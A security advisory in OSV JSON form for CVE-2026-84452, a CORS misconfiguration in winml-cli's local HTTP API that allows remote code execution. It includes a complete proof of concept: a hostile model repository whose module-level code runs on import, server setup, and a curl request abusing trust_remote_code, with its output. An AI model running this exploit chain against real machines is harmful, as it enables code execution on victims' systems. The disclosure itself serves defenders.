CVE-2026-84452: Windows ML CLI Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-96p9-rh4f-92cf",
  "modified" : "2026-09-08T21:27:59Z",
  "published" : "2026-09-08T21:27:59Z",
  "aliases" : [ "CVE-2026-84452" ],
  "summary" : "Windows ML CLI: CORS misconfig enables localhost RCE",
  "details" : "Case Description:\n\nMSRC Notes: Attachments: 1 file(s) attached (1 mp4) Summary: The vulnerability lies in the 'serve/cli_api.py' component of the 'winml-cli' project, which exposes all winml CLI commands over HTTP without authentication. Although it binds to localhost by default, it sets 'allow_origins' to a wildcard, allowing any website to interact with the endpoint. This, combined with the '--trust-remote-code' flag in 'build' and 'config' commands, enables an attacker to execute arbitrary code by hosting a malicious model repository. The root cause is the lack of proper authentication and validation of the 'trust_remote_code' parameter, leading to Remote Code Execution (RCE).\n\nFinder Description: WARNING: Original content contained invalid characters. Please see original submission in the event that the characters removed are relevant for the PoC.\n\nserve/cli_api.py exposes every winml CLI command over HTTP with no authentication. That's defensible on its own - it binds 127.0.0.1 by default, so the audience is this machine. But it also sets allow_origins=[\"*\"] (cli_api.py:150, duplicated at app.py:219), and the victim's browser is a local process: the wildcard lets any website call the endpoint and read the reply, erasing the boundary the loopback bind draws.\n\nbuild and config both accept --trust-remote-code, and a JSON true becomes that flag unfiltered. An attacker-named model repo reaches AutoConfig.from_pretrained(..., trust_remote_code=True) (_autoconfig.py:191), where transformers imports Python from that repo - RCE as the server user from any page the victim loads. The payload runs on import, so the command's exit_code: 1 is irrelevant.\n\nReported Repro Steps:\n\n1. Setup\n\ngit clone -q https://github.com/microsoft/winml-cli.git ~/winml-poc && cd ~/winml-poc &&  mkdir -p temp /tmp/poc/evil/pwn\npython3 -m pip install -q --target /tmp/poc/deps onnx onnxruntime transformers fastapi uvicorn click\n2. Hostile model repo (payload is module-level → runs on import)\n\ncat > /tmp/poc/evil/pwn/config.json <<'EOF'\n{\"model_type\":\"pwn\",\"auto_map\":{\"AutoConfig\":\"configuration_pwn.PwnConfig\"}}\nEOF\ncat > /tmp/poc/evil/pwn/configuration_pwn.py <<'EOF'\nimport getpass, os, socket, time\nfrom transformers import PretrainedConfig\nwith open(os.environ[\"PWN_MARKER\"], \"w\") as f:\n    f.write(f\"ARBITRARY CODE EXECUTION\\ntime={time.strftime('%F %T')}\\n\"\n            f\"user={getpass.getuser()}\\nhost={socket.gethostname()}\\npid={os.getpid()}\\n\")\nclass PwnConfig(PretrainedConfig):\n    model_type = \"pwn\"\nEOF\n3. Start server\n\nWindows: python -m uvicorn winml.modelkit.serve.cli_api:app --host 127.0.0.1 --port 8000\n\nLinux needs a stub for the Windows-only PDH module (no security relevance):\n\ncat > /tmp/poc/serve.py <<'EOF'\nimport os, sys, types, uvicorn\nm = types.ModuleType(\"winml.modelkit.session.monitor._pdh\")\nclass PdhPoller:\n    def __init__(s,*a,**k): pass\n    def start(s,*a,**k): pass\n    def stop(s,*a,**k): pass\n    def poll(s,*a,**k): return {}\n    def sample(s,*a,**k): return {}\n    def close(s,*a,**k): pass\nm.PdhPoller = PdhPoller; m.PDH_AVAILABLE = False\nsys.modules[\"winml.modelkit.session.monitor._pdh\"] = m\nfrom winml.modelkit.serve.cli_api import app\nuvicorn.run(app, host=\"127.0.0.1\", port=8000, log_level=\"warning\")\nEOF\ncd ~/winml-poc && PWN_MARKER=~/winml-poc/temp/PWNED PYTHONPATH=src:/tmp/poc/deps setsid nohup python3 /tmp/poc/serve.py >/tmp/poc/log 2>&1 </dev/null &\nsleep 8; until curl -sf -o /dev/null -m 1 http://127.0.0.1:8000/openapi.json; do sleep 1; done; echo up\n4. Exploit\n\ncurl -s -D- -o /dev/null -X POST http://127.0.0.1:8000/v1/cli/build \\\n -H 'Origin: https://evil.example' -H 'Content-Type: application/json' \\\n -d '{\"args\":{\"model\":\"/tmp/poc/evil/pwn\",\"output_dir\":\"/tmp/poc/out\",\"trust_remote_code\":true}}' \\\n | grep -iE '^HTTP|^access-control-allow-origin'\ncat ~/winml-poc/temp/PWNED\nHTTP/1.1 200 OK\naccess-control-allow-origin: *\nARBITRARY CODE EXECUTION\ntime=2026-08-17 11:24:35\nuser=shrini  host=Shrinivasan  pid=11616",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "winml-cli"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.4.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/microsoft/winml-cli/security/advisories/GHSA-96p9-rh4f-92cf"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-84452"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/microsoft/winml-cli/pull/1321"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/microsoft/winml-cli/commit/f4073e0ef4700a25b623487e7e45c421ca0b9993"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/microsoft/winml-cli"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-306", "CWE-942" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-08T21:27:59Z",
    "nvd_published_at" : "2026-09-02T20:17:41Z"
  }
}